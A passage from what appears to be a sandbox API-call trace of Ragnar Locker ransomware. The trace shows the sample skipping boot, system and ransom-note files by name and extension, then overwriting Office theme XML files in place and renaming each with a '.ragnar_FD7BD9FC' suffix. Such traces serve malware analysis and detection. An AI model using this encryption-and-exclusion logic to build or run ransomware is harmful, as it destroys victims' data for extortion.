lpString1="Slipstream.xml") returned="Slipstream.xml" [0093.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml") returned=".xml" [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="autorun.inf") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="boot.ini") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootfont.bin") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootsect.bak") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootmgr") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootmgr.efi") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootmgfw.efi") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="desktop.ini") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="iconcache.db") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntldr") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntuser.dat") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntuser.dat.log") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntuser.ini") returned 1 [0093.682] lstrcmpiW (lpString1="Slipstream.xml", lpString2="thumbs.db") returned -1 [0093.682] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.682] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.682] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.682] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.682] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.683] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.683] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml")) returned 0x20 [0093.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.683] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=965) returned 1 [0093.683] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.683] GetProcessHeap () returned 0x580000 [0093.683] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.683] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.685] VirtualAlloc (lpAddress=0x0, dwSize=0x3c5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.685] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.685] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.685] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c5, lpOverlapped=0x0) returned 1 [0093.685] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.685] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c5, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.685] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c5, lpOverlapped=0x0) returned 1 [0093.686] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.686] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.686] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.686] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.686] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.686] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.686] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.686] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.686] GetProcessHeap () returned 0x580000 [0093.686] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.686] CloseHandle (hObject=0x10c) returned 1 [0093.687] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" [0093.687] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.ragnar_FD7BD9FC" [0093.687] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.687] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0093.687] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.687] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Solstice.xml" | out: lpString1="Solstice.xml") returned="Solstice.xml" [0093.688] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml") returned=".xml" [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="autorun.inf") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="boot.ini") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootfont.bin") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootsect.bak") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootmgr") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootmgr.efi") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootmgfw.efi") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="desktop.ini") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="iconcache.db") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntldr") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntuser.dat") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntuser.dat.log") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntuser.ini") returned 1 [0093.688] lstrcmpiW (lpString1="Solstice.xml", lpString2="thumbs.db") returned -1 [0093.688] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.688] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.688] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.688] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.688] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.688] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.688] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml")) returned 0x20 [0093.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.689] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=963) returned 1 [0093.689] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.689] GetProcessHeap () returned 0x580000 [0093.689] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.689] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.690] VirtualAlloc (lpAddress=0x0, dwSize=0x3c3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.690] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.691] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.691] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c3, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c3, lpOverlapped=0x0) returned 1 [0093.691] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.691] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c3, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.691] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c3, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c3, lpOverlapped=0x0) returned 1 [0093.691] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.691] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.691] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.691] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.691] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.691] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.691] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.692] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.692] GetProcessHeap () returned 0x580000 [0093.692] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.692] CloseHandle (hObject=0x10c) returned 1 [0093.692] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" [0093.692] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.ragnar_FD7BD9FC" [0093.692] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.695] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0093.695] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.695] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Technic.xml" | out: lpString1="Technic.xml") returned="Technic.xml" [0093.695] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml") returned=".xml" [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="autorun.inf") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="boot.ini") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="bootfont.bin") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="bootsect.bak") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="bootmgr") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="bootmgr.efi") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="bootmgfw.efi") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="desktop.ini") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="iconcache.db") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="ntldr") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="ntuser.dat") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="ntuser.dat.log") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="ntuser.ini") returned 1 [0093.695] lstrcmpiW (lpString1="Technic.xml", lpString2="thumbs.db") returned -1 [0093.695] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.695] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.695] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.695] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.696] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.696] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.696] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml")) returned 0x20 [0093.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.697] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=962) returned 1 [0093.697] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.697] GetProcessHeap () returned 0x580000 [0093.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.697] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.698] VirtualAlloc (lpAddress=0x0, dwSize=0x3c2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.699] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.699] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.699] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c2, lpOverlapped=0x0) returned 1 [0093.699] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.699] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.699] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c2, lpOverlapped=0x0) returned 1 [0093.699] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.699] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.699] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.699] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.699] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.699] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.699] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.699] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.700] GetProcessHeap () returned 0x580000 [0093.700] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.700] CloseHandle (hObject=0x10c) returned 1 [0093.700] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" [0093.700] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.ragnar_FD7BD9FC" [0093.700] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.700] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0093.700] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.700] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Thatch.xml" | out: lpString1="Thatch.xml") returned="Thatch.xml" [0093.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml") returned=".xml" [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="autorun.inf") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="boot.ini") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootfont.bin") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootsect.bak") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootmgr") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootmgr.efi") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootmgfw.efi") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="desktop.ini") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="iconcache.db") returned 1 [0093.701] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntldr") returned 1 [0093.701] lstrcmpiW 